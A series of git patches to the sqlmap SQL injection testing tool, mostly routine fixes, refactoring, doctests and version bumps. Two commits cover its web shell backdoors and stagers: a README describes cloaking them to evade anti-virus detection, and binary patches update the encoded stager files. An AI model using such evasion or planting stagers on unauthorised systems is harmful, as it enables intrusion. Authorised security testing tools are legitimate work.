From b3f4c6d0fc5ef5e258557d716338025b2a5845bc Mon Sep 17 00:00:00 2001 From: tree-chtsec <68040445+tree-chtsec@users.noreply.github.com> Date: Thu, 13 Aug 2020 22:18:31 +0800 Subject: [PATCH 01/45] Make asterisk work with --csrf-token option (#4305) --- lib/core/target.py | 2 +- lib/request/connect.py | 8 +++++--- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/lib/core/target.py b/lib/core/target.py index 02d0eac54..6470be1c3 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -400,7 +400,7 @@ def _setRequestParams(): raise SqlmapGenericException(errMsg) if conf.csrfToken: - if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}): + if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()): errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original errMsg += "found in provided GET, POST, Cookie or header values" raise SqlmapGenericException(errMsg) diff --git a/lib/request/connect.py b/lib/request/connect.py index d61cab0bf..df0b7f6c9 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1125,11 +1125,13 @@ class Connect(object): if token: token.value = token.value.strip("'\"") - for candidate in (PLACE.GET, PLACE.POST): + for candidate in (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.URI): if candidate in conf.parameters: - if candidate == PLACE.GET and get: + if candidate == PLACE.URI and uri: + uri = _adjustParameter(uri, token.name, token.value) + elif candidate == PLACE.GET and get: get = _adjustParameter(get, token.name, token.value) - elif candidate == PLACE.POST and post: + elif candidate in [PLACE.POST, PLACE.CUSTOM_POST] and post: post = _adjustParameter(post, token.name, token.value) for i in xrange(len(conf.httpHeaders)): From a42ec7d9cbfc87188f3dbdcd308b491706ede55a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 13 Aug 2020 16:22:09 +0200 Subject: [PATCH 02/45] Trivial refactoring --- lib/core/settings.py | 2 +- lib/core/target.py | 2 +- lib/request/connect.py | 2 +- lib/request/httpshandler.py | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 19d4a3b57..287c22772 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.8.9" +VERSION = "1.4.8.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index 6470be1c3..1f67770e3 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -111,7 +111,7 @@ def _setRequestParams(): def process(match, repl): retVal = match.group(0) - if not (conf.testParameter and match.group("name") not in [removePostHintPrefix(_) for _ in conf.testParameter]) and match.group("name") == match.group("name").strip('\\'): + if not (conf.testParameter and match.group("name") not in (removePostHintPrefix(_) for _ in conf.testParameter)) and match.group("name") == match.group("name").strip('\\'): retVal = repl while True: _ = re.search(r"\\g<([^>]+)>", retVal) diff --git a/lib/request/connect.py b/lib/request/connect.py index df0b7f6c9..eb7d92e2f 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1131,7 +1131,7 @@ class Connect(object): uri = _adjustParameter(uri, token.name, token.value) elif candidate == PLACE.GET and get: get = _adjustParameter(get, token.name, token.value) - elif candidate in [PLACE.POST, PLACE.CUSTOM_POST] and post: + elif candidate in (PLACE.POST, PLACE.CUSTOM_POST) and post: post = _adjustParameter(post, token.name, token.value) for i in xrange(len(conf.httpHeaders)): diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index 854cbe1a7..23af4c709 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -58,7 +58,7 @@ class HTTPSConnection(_http_client.HTTPSConnection): # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"): - for protocol in [_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1]: + for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1): try: sock = create_sock() if protocol not in _contexts: From 85b73f872e49b6edc0007ac6d780304775316de1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 20 Aug 2020 13:54:52 +0200 Subject: [PATCH 03/45] Minor patch --- data/xml/errors.xml | 2 +- lib/controller/checks.py | 2 +- lib/core/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/data/xml/errors.xml b/data/xml/errors.xml index e7aa190b1..568b61bbe 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -83,7 +83,7 @@ - + diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 919859fed..24d8d70d1 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1581,7 +1581,7 @@ def checkConnection(suppressOutput=False): kb.originalPage = kb.pageTemplate = threadData.lastPage kb.originalCode = threadData.lastCode - if conf.cj and not conf.cookie and not conf.dropSetCookie: + if conf.cj and not conf.cookie and not any(_[0] == HTTP_HEADER.COOKIE for _ in conf.httpHeaders) and not conf.dropSetCookie: candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj) message = "you have not declared cookie(s), while " diff --git a/lib/core/settings.py b/lib/core/settings.py index 287c22772..8b9a05cd4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.8.10" +VERSION = "1.4.8.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 907786edb8325215dc4a4332e680afc9f8de933a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 23 Aug 2020 20:56:22 +0200 Subject: [PATCH 04/45] Patch for #4314 --- lib/core/patch.py | 10 ++++++++++ lib/core/settings.py | 2 +- 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/lib/core/patch.py b/lib/core/patch.py index b1c5773dd..ada695427 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission """ import codecs +import os import random import lib.controller.checks @@ -76,6 +77,15 @@ def dirtyPatches(): # to prevent too much "guessing" in case of binary data retrieval thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90 + # https://github.com/sqlmapproject/sqlmap/issues/4314 + try: + os.urandom(1) + except NotImplemented: + if six.PY3: + os.urandom = lambda size: bytes(random.randint(0, 255) for _ in range(size)) + else: + os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size)) + def resolveCrossReferences(): """ Place for cross-reference resolution diff --git a/lib/core/settings.py b/lib/core/settings.py index 8b9a05cd4..d1a5d4dc4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.8.11" +VERSION = "1.4.8.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 603d602550b045b224688723fc980d550ac726a9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 23 Aug 2020 20:59:10 +0200 Subject: [PATCH 05/45] Fixes #4313 --- doc/translations/README-fr-FR.md | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index 83c4884b6..8c87faf54 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -32,7 +32,7 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta python sqlmap.py -hh -Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples. +Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples. Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Liens diff --git a/lib/core/settings.py b/lib/core/settings.py index d1a5d4dc4..e538af230 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.8.12" +VERSION = "1.4.8.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 5108c2d06c1609ef339edd2ea6931e786dd17fce Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 23 Aug 2020 21:16:56 +0200 Subject: [PATCH 06/45] Minor update regarding #4312 --- lib/core/settings.py | 2 +- lib/request/basic.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e538af230..a69732059 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.8.13" +VERSION = "1.4.8.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index 1ebf9adf5..168719694 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -394,7 +394,7 @@ def processResponse(page, responseHeaders, code=None, status=None): if msg: logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.')) - if kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT: + if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT: rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", getUnicode("".join(responseHeaders.headers if responseHeaders else [])), page) identYwaf.non_blind.clear() From 0c48d0dbec0c86eaa1a8bbf5f63d82113ff3b949 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 23 Aug 2020 22:11:24 +0200 Subject: [PATCH 07/45] Minor update on request --- lib/core/option.py | 5 +++-- lib/core/settings.py | 2 +- lib/request/httpshandler.py | 18 ++++++++++++++++++ 3 files changed, 22 insertions(+), 3 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 7e78ce032..45ebd33d9 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2009,10 +2009,11 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.skipSeqMatcher = False kb.smokeMode = False kb.reduceTests = None - kb.tlsSNI = {} + kb.sslSuccess = False kb.stickyDBMS = False kb.storeHashesChoice = None kb.suppressResumeInfo = False + kb.tableExistsChoice = None kb.tableFrom = None kb.technique = None kb.tempDir = None @@ -2022,7 +2023,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.testType = None kb.threadContinue = True kb.threadException = False - kb.tableExistsChoice = None + kb.tlsSNI = {} kb.uChar = NULL kb.udfFail = False kb.unionDuplicates = False diff --git a/lib/core/settings.py b/lib/core/settings.py index a69732059..86ac686eb 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.8.14" +VERSION = "1.4.8.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index 23af4c709..841b0069e 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -11,6 +11,8 @@ import socket from lib.core.common import filterNone from lib.core.common import getSafeExString +from lib.core.compat import xrange +from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapConnectionException @@ -43,6 +45,8 @@ class HTTPSConnection(_http_client.HTTPSConnection): _contexts[None] = ssl._create_default_https_context() kwargs["context"] = _contexts[None] + self.retrying = False + _http_client.HTTPSConnection.__init__(self, *args, **kwargs) def connect(self): @@ -101,7 +105,21 @@ class HTTPSConnection(_http_client.HTTPSConnection): # Reference: https://docs.python.org/2/library/ssl.html if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion("2.7.9"): errMsg += " (please retry with Python >= 2.7.9)" + + if kb.sslSuccess and not self.retrying: + self.retrying = True + + for _ in xrange(conf.retries): + try: + self.connect() + except SqlmapConnectionException: + pass + else: + return + raise SqlmapConnectionException(errMsg) + else: + kb.sslSuccess = True class HTTPSHandler(_urllib.request.HTTPSHandler): def https_open(self, req): From df5fabbbbb0bbf393431b16e77fe7689d875af7a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 24 Aug 2020 11:10:13 +0200 Subject: [PATCH 08/45] Adding couple of doctests --- lib/core/common.py | 56 ++++++++++++++++++++++++++++++++++++++++++-- lib/core/settings.py | 2 +- 2 files changed, 55 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 4e2169bcc..c65b2ae97 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1051,6 +1051,16 @@ def dataToDumpFile(dumpFile, data): raise def dataToOutFile(filename, data): + """ + Saves data to filename + + >>> pushValue(conf.get("filePath")) + >>> conf.filePath = tempfile.gettempdir() + >>> "_etc_passwd" in dataToOutFile("/etc/passwd", b":::*") + True + >>> conf.filePath = popValue() + """ + retVal = None if data: @@ -1714,6 +1724,11 @@ def escapeJsonValue(value): Escapes JSON value (used in payloads) # Reference: https://stackoverflow.com/a/16652683 + + >>> "\\n" in escapeJsonValue("foo\\nbar") + False + >>> "\\\\t" in escapeJsonValue("foo\\tbar") + True """ retVal = "" @@ -1888,6 +1903,12 @@ def getLocalIP(): def getRemoteIP(): """ Get remote/target IP address + + >>> pushValue(conf.hostname) + >>> conf.hostname = "localhost" + >>> getRemoteIP() == "127.0.0.1" + True + >>> conf.hostname = popValue() """ retVal = None @@ -2014,6 +2035,9 @@ def normalizePath(filepath): def safeFilepathEncode(filepath): """ Returns filepath in (ASCII) format acceptable for OS handling (e.g. reading) + + >>> 'sqlmap' in safeFilepathEncode(paths.SQLMAP_HOME_PATH) + True """ retVal = filepath @@ -2220,6 +2244,15 @@ def isHexEncodedString(subject): def isMultiThreadMode(): """ Checks if running in multi-thread(ing) mode + + >>> isMultiThreadMode() + False + >>> _ = lambda: time.sleep(0.1) + >>> thread = threading.Thread(target=_) + >>> thread.daemon = True + >>> thread.start() + >>> isMultiThreadMode() + True """ return threading.activeCount() > 1 @@ -2228,6 +2261,9 @@ def isMultiThreadMode(): def getConsoleWidth(default=80): """ Returns console width + + >>> any((getConsoleWidth(), True)) + True """ width = None @@ -2434,6 +2470,9 @@ def initCommonOutputs(): def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False): """ Returns newline delimited items contained inside file + + >>> "SELECT" in getFileItems(paths.SQL_KEYWORDS) + True """ retVal = list() if not unique else OrderedDict() @@ -2540,8 +2579,8 @@ def goGoodSamaritan(prevValue, originalCharset): def getPartRun(alias=True): """ - Goes through call stack and finds constructs matching conf.dbmsHandler.*. - Returns it or its alias used in 'txt/common-outputs.txt' + Goes through call stack and finds constructs matching + conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt' """ retVal = None @@ -4997,6 +5036,12 @@ def getRequestHeader(request, name): Solving an issue with an urllib2 Request header case sensitivity # Reference: http://bugs.python.org/issue2275 + + >>> _ = lambda _: _ + >>> _.headers = {"FOO": "BAR"} + >>> _.header_items = lambda: _.headers.items() + >>> getText(getRequestHeader(_, "foo")) + 'BAR' """ retVal = None @@ -5094,6 +5139,13 @@ def pollProcess(process, suppress_errors=False): def parseRequestFile(reqFile, checkParams=True): """ Parses WebScarab and Burp logs and adds results to the target URL list + + >>> handle, reqFile = tempfile.mkstemp(suffix=".req") + >>> content = b"POST / HTTP/1.0\\nUser-agent: foobar\\nHost: www.example.com\\n\\nid=1\\n" + >>> _ = os.write(handle, content) + >>> os.close(handle) + >>> next(parseRequestFile(reqFile)) == ('http://www.example.com:80/', 'POST', 'id=1', None, (('User-agent', 'foobar'), ('Host', 'www.example.com'))) + True """ def _parseWebScarabLog(content): diff --git a/lib/core/settings.py b/lib/core/settings.py index 86ac686eb..566dd7fc4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.8.15" +VERSION = "1.4.8.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 8de4820b24704774be10ed4c6e2fb4d5eb81f620 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 28 Aug 2020 14:24:43 +0200 Subject: [PATCH 09/45] Minor update --- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 6 ++++-- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 566dd7fc4..994953229 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.8.16" +VERSION = "1.4.8.17" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 9869199f3..65cfc5371 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -958,8 +958,10 @@ def cmdLineParser(argv=None): else: argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else "")) argv[i] = "" - elif argv[i] in ("-H", "--header"): - if i + 1 < len(argv): + elif argv[i] in ("-H", "--header") or any(argv[i].startswith("%s=" % _) for _ in ("-H", "--header")): + if '=' in argv[i]: + extraHeaders.append(argv[i].split('=', 1)[1]) + elif i + 1 < len(argv): extraHeaders.append(argv[i + 1]) elif argv[i] == "--deps": argv[i] = "--dependencies" From 609545176fb1386ebf665566a8f3e517eb065dd9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 28 Aug 2020 14:46:59 +0200 Subject: [PATCH 10/45] Minor refactoring --- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 14 +++++++++----- 2 files changed, 10 insertions(+), 6 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 994953229..df5a55d92 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.8.17" +VERSION = "1.4.8.18" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 65cfc5371..68c0887dc 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -863,7 +863,7 @@ def cmdLineParser(argv=None): _ = [] advancedHelp = True extraHeaders = [] - tamperIndex = None + auxIndexes = {} # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING") for arg in argv: @@ -952,11 +952,15 @@ def cmdLineParser(argv=None): argv[i] = "" elif argv[i] in DEPRECATED_OPTIONS: argv[i] = "" - elif argv[i].startswith("--tamper"): - if tamperIndex is None: - tamperIndex = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None) + elif any(argv[i].startswith(_) for _ in ("--tamper",)): + key = re.search(r"\-\-(\w+)", argv[i]).group(1) + index = auxIndexes.get(key, None) + if index is None: + index = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None) + auxIndexes[key] = index else: - argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else "")) + delimiter = ',' + argv[index] = "%s%s%s" % (argv[index], delimiter, argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else "")) argv[i] = "" elif argv[i] in ("-H", "--header") or any(argv[i].startswith("%s=" % _) for _ in ("-H", "--header")): if '=' in argv[i]: From e05f65628d5e51e0c4da2be139efc642d61e4e57 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 31 Aug 2020 11:18:29 +0200 Subject: [PATCH 11/45] Minor update --- data/shell/README.txt | 6 +++--- lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/shell/README.txt b/data/shell/README.txt index 77b1c57ee..4c64c4116 100644 --- a/data/shell/README.txt +++ b/data/shell/README.txt @@ -1,7 +1,7 @@ -Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility. +Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility. To prepare the original scripts to the cloaked form use this command: -find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \; +find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \; To get back them into the original form use this: -find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \; +find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \; diff --git a/lib/core/settings.py b/lib/core/settings.py index df5a55d92..1a0cc75e5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.8.18" +VERSION = "1.4.8.19" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 95b9a47c6f8c0be73ffc3e954762c0297097f982 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 31 Aug 2020 11:34:12 +0200 Subject: [PATCH 12/45] Adding support for easier 'decloaking' (AV something something) --- data/shell/stagers/stager.asp_ | Bin 1201 -> 1201 bytes data/shell/stagers/stager.aspx_ | Bin 529 -> 529 bytes data/shell/stagers/stager.jsp_ | Bin 1321 -> 1321 bytes data/shell/stagers/stager.php_ | Bin 379 -> 379 bytes extra/cloak/cloak.py | 2 +- extra/shutils/recloak.sh | 14 ++++++++++++++ lib/core/settings.py | 2 +- 7 files changed, 16 insertions(+), 2 deletions(-) create mode 100755 extra/shutils/recloak.sh diff --git a/data/shell/stagers/stager.asp_ b/data/shell/stagers/stager.asp_ index b9dd8e7143936584da7d0a17299635fe55dc2926..ff0201d5fb013592d2a1ea1fd15a53370c9f7018 100644 GIT binary patch literal 1201 zcmV;i1Wx-8#PR^P0o8L^PiU4-gc|rWT^%_*nP*BHGoof0?sc0P2MPUYU-IDDfY`f# zv9m}BeD*{s*@`7s5ZDhoyrIelr|Tkg%|0kVbK1 z22Z@@c0P0PZ!1eLp{SISFm@`N)x^TKNa>JQ^yOAQuMW%kz@R37v{y?bRw0fNsojK6 zC}|Dqz@1hO&6o=3w_YC7DOCK-^riUVQ888N2KLFXPn+yG`p=K-vVM7PgRjmTf%k&j z158(cq-7ut#~T1>z@=wLGazWpRz+^GJd2k9{<#q!$hHe@@-JAqF>{<#FK&k*v`Xte z?-AUF`Lx}I*5r!J)?E9l-@1lh(S96B4R}w1>QybNui(3ODli+)opxh?(R+jV9isqw zo&`6PgaeX&EX$nG`Fbt;}dr*U%85%1U{Y=NqdoR+lsDcJ_lq;Mc>B(E{L zd<@fk)slX|FY%7@+;}?uyd%bnGgmT?!_x6J76+0pua`!2bDe0QhR9wMk(L}MGjKr> zaZmK!{BP)-GIPaj9Ho_+yOJ#TpWdm*^a!~_lG`qXb`GIN&rEe|gq#V5!NsZc2Z}CW zO*~$TGPGev#(hza^zc?Vmt&>=S?v#&7di)P)Us|1?n->1>LqL*p*?C)Z7ewgGx>9j zK1>KGS6ZNEV8KkC76O%Hu%|}R8*-VeaUYCQT(36^L+qi)n;pQZkH>}!d#0a=yPr23 zX#=btZnmh?aa3GQ)6tXRz*&4P6Lz5HOeK4Cb=PM%>^dVzxdwCh_0cylR!%JR%}fes zz*bym!%cF(ShQcsa&PoFFyWzE_C@&`4NcQN?ncA>q6E_#+l1xh3adiW7CWAIQ{^hF z*@mIspR|1W;6m|sPO~ncb0q#`zul36qJRL)cxYitknE*3AM850=j#c`aQPd#;T|BV z9ia0>Z*X?;sJV`a4BeD5N5#*zJ2?gX9g<#7oeoLr&|$ZD8VVM{l}VMVM2yj=aWke( zm927eOOwfddQRdKO@-U%M&zOkVBfXK{T!SR4hr{fY*&w=;9*(bI8e((?<-lDzoh#txcWeVSJhX21$`Z_U#WImPRII!}CEq7#-R;6r zNDeRbo}mmKiBjV+2^E06n8Ri$<9xfYC78tuW6riHwgm%1g&&d1U)ok PALCkbE8vz#dZTf^rn*u` literal 1201 zcmV;i1Wx-p`OqV^Sc+F^5K)qEt`wUFU_Tl^z&LIzY@1>@#C!NGIxF642Cc;D-{HSr zo4qSNLDXj|fYkwKPvHw2manNZn#loolwk~TEaS+$>*fi&^3vk$lnmA%8=#AoUj}=C zJ8hrlFJV`}FcMD=i>CLd4O9u3jGN|$7toY;-s?3Bk}T-@ng0S$>uyg1d@t=Jl>etp zaW*O1pQKVR=ay;GihMoMa0}S{tDOA7dp|bZJJjl|7R1O1rS^->m~a|fzK!h|*r=xK zTy;}kj%!0W`Z*(OnfgO_Y#D6rd`k_50jah8r{*;;myZuj*daTN3{k&Ob}^$6>vQiM z#UH=3#FqYskGrn?iDmzb^|a+`>|8%eR3~e(wQMPfh3?ox7ZNzl#3@HljzWjoH?3n# zqbF|RP7fnkzeai8y(@G-Xh?b+Mg?}t>ZiQTKAziO%H6uL%i{Z&CLuW z6q*^H0`JG90mo3AW7k>4eb%NP)utJYYU$vQ8R_U0steVzu>G`!%ztUv7vv5&wc)I;ag} 